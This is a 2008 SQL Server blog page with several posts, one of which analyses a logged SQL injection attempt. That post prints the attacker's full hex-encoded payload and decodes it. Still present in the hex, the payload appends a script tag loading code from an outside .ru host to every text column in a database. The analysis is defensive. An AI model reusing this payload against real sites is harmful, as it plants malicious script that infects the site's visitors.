Thursday, 31 July 2008

SQL : Data Search Script - Version 3

version 3 :

1) copes with schemas other than dbo!
2) restrict to tables only (was doing views!)
3) nolock table hint added
4) uniqueidentifier added to data types searched

/*
version 3 :    1) copes with schemas other than dbo!
        2) restrict to tables only (was doing views!)
        3) nolock table hint added
        4) uniqueidentifier added to data types searched

*/
declare @columncount int
declare @searchdata varchar(255)
-- set string to search for here
set @searchdata = 'searchstring'

select @columncount = count(*) from information_schema.columns
 where data_type in ('ntext','smallint','int','char', 'varchar', 'nvchar', 'nvarchar','uniqueidentifier')
 and table_name not like 'sync%'
 and column_name <> 'order'
 and table_name in (select name from sys.sysobjects where type = 'u')
select 'declare @resultslist varchar(max)' + char(10) + 'set @resultslist = '''''
union
select 'if exists (select 1 from [' +
 table_schema + '].[' + table_name +
 '] with (nolock) where [' +
 column_name  + '] like ''%' + @searchdata + '%'' ) ' + char(10) +
 ' begin ' + char(10) +
 '  set @resultslist = @resultslist + char(10) + ''select [' + column_name + '],* from ['+ table_schema + '].[' + table_name + '] with (nolock) where [' + column_name + '] like ''''%' + @searchdata + '%'''''''+ char(10) +
 '  print ''' + table_schema + '.' + table_name  + '/' +column_name  + '''' + char(10) +
 ' end ' + char(10) +
 '' + char(10) +
 ' print ''' + cast(cast(cast(rank() OVER (ORDER BY table_schema, table_name, column_name) as float)/ @columncount *100 as decimal(10,2)) as varchar(10))+ '%' +
 '''' + char(10)
from  information_schema.columns with (nolock)
where data_type in ('ntext','smallint','int','char', 'varchar', 'nvchar', 'nvarchar','uniqueidentifier')
and table_name not like 'sync%'
and column_name <> 'order'
and table_name in (select name from sys.sysobjects with (nolock) where type = 'u')
union
select 'print @resultslist' + char(10) + 'go'

Sunday, 27 July 2008

"Log on as a Service" Right (adding locally)

1) Launch the 'local Security Policy' console

Start Menu > Administrative Tools > Local Security Policy.


2) Expand the tree as follows >

Security Settings > Local Policies > User Rights Assignment

Double click 'Log on as a service' & add service accounts to give them permission.

Thursday, 24 July 2008

SQL 2008 : Information

A small rant, but informative all the same...

http://www.brentozar.com/archive/2008/07/sql-server-2008-sucks/

Highlights (or should that be lowlights) are >
Lack of backwards compatibility for IntelliSense (only works when connecting to 2008 instances)
Several new features appearing in Enterprise Edition upwards (not Standard Edition)

No GUI for new encryption functionality, STILL no GUI for partitioning functionality.

Tuesday, 22 July 2008

A SQL Injection attempt

I have email alerts configured on my websites for 404s and Injection attempts.
Ocasionally I review the folder of these mails and it struck me there had been quite a lot of injection attempts recently.

This attempt from a russian IP address in the early hours of the morning (captured by my detection script) -

PATH_INFO /injectionattempt.asp
PATH_TRANSLATED e:\domains\d\domain.co.uk\user\htdocs\injectionattempt.asp
QUERY_STRING page=index;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C4043205
64152434841522832353529204445434C415245205461626C655F437572736F72204355
52534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207
379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E6964
3D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3
939204F5220622E78747970653D3335204F5220622E78747970653D323331204F522062
2E78747970653D31363729204F50454E205461626C655F437572736F722046455443482
04E4558542046524F4D205461626C655F437572736F7220494E544F2040542C40432057
48494C4528404046455443485F5354415455533D302920424547494E204558454328275
55044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D2843
4F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C7
36372697074207372633D687474703A2F2F7777772E356B63332E72752F6E67672E6A73
3E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C6
55F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F
437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20
AS%20VARCHAR(4000));EXEC(@S);--


Clearly an injection attack, but what does it attempt to do?
To discover this, we need to decode the Hex string hidden inside the CAST statement.
The following TSQL does this -

DECLARE  @Hex_String VARCHAR(MAX)
DECLARE  @DSql NVARCHAR(MAX)
DECLARE  @ASCII_Message VARCHAR(MAX)                        

SELECT @Hex_String = '0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E356B63332E72752F6E67672E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220'
SELECT @DSql = 'SELECT @ASCII_Message = CONVERT(VARCHAR(MAX), ' + @Hex_String + ')'
EXEC SP_EXECUTESQL  @DSql ,  N'@ASCII_Message NVARCHAR(MAX) OUTPUT' ,  @ASCII_Message OUTPUT  
SELECT @ASCII_Message

This provides the following TSQL -
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

which formatted correctly, looks like this -

DECLARE  @T VARCHAR(255),         
     @C VARCHAR(255)

DECLARE TABLE_CURSOR CURSOR  FOR 
SELECT A.NAME,       
    B.NAME
FROM   SYSOBJECTS A,       
    SYSCOLUMNS B
WHERE  A.ID = B.ID       
   AND A.XTYPE = 'u'       
   AND (B.XTYPE = 99             
   OR B.XTYPE = 35             
   OR B.XTYPE = 231             
   OR B.XTYPE = 167)

OPEN TABLE_CURSOR
FETCH NEXT FROM TABLE_CURSOR INTO @T, @C
WHILE (@@FETCH_STATUS = 0)  
 BEGIN    
 EXEC( 'UPDATE [' + @T + '] SET [' + @C + ']=RTRIM(CONVERT(VARCHAR(4000),[' + @C + ']))+''''')        
 FETCH NEXT FROM TABLE_CURSOR INTO @T, @C  
 END
CLOSE TABLE_CURSOR
DEALLOCATE TABLE_CURSOR

Rather bizarrely the code uses a cursor to loop every column in every table, setting it to itself.
Well, itself trimmed to 4000 characters.
I imagine it would depend on an individual db as to how much damage it would do, but i'm glad it didnt run all the same. It attempts to reference a script at www.5kc3.ru (i have removed this and the surrounding script tags from this post) but i dont see how it would execute javascript from within sql!

Loop All User Tables

Useful for systems functions & reporting -

-- loop tables
SET NOCOUNT ON
DECLARE  @CurrentRow INT
DECLARE  @TotalRows INT

DECLARE  @TableName NVARCHAR(255)   
DECLARE  @SchemaName NVARCHAR(255)   
                
SELECT @CurrentRow = 1
               
DECLARE  @Tables  
TABLE(uniquerowid  INT   IDENTITY ( 1,1 )   PRIMARY KEY   NOT NULL
   ,schemaname NVARCHAR(255)
   ,tablename NVARCHAR(255))
   
INSERT INTO @Tables (schemaname,tablename)
SELECT sys.schemas.name,sys.tables.name
FROM sys.tables
inner join sys.schemas
on sys.tables.schema_id = sys.schemas.schema_id
order by 1,2

               
SELECT @TotalRows = COUNT(* )
FROM @Tables
 
WHILE @CurrentRow <= @TotalRows  
BEGIN    
 SELECT @schemaname = schemaname, @tableName = tablename      
 FROM @Tables     
 WHERE UNIQUEROWID = @CurrentRow         
 PRINT @schemaname + '.' + @tablename         
 SELECT @CurrentRow = @CurrentRow + 1  
END

SQL 2008 Features to look forward to....

summed up nicely here >

http://www.angryhacker.com/blog/archive/2008/06/20/10-reasons-why-sql-server-2008-is-going-to-rock.aspx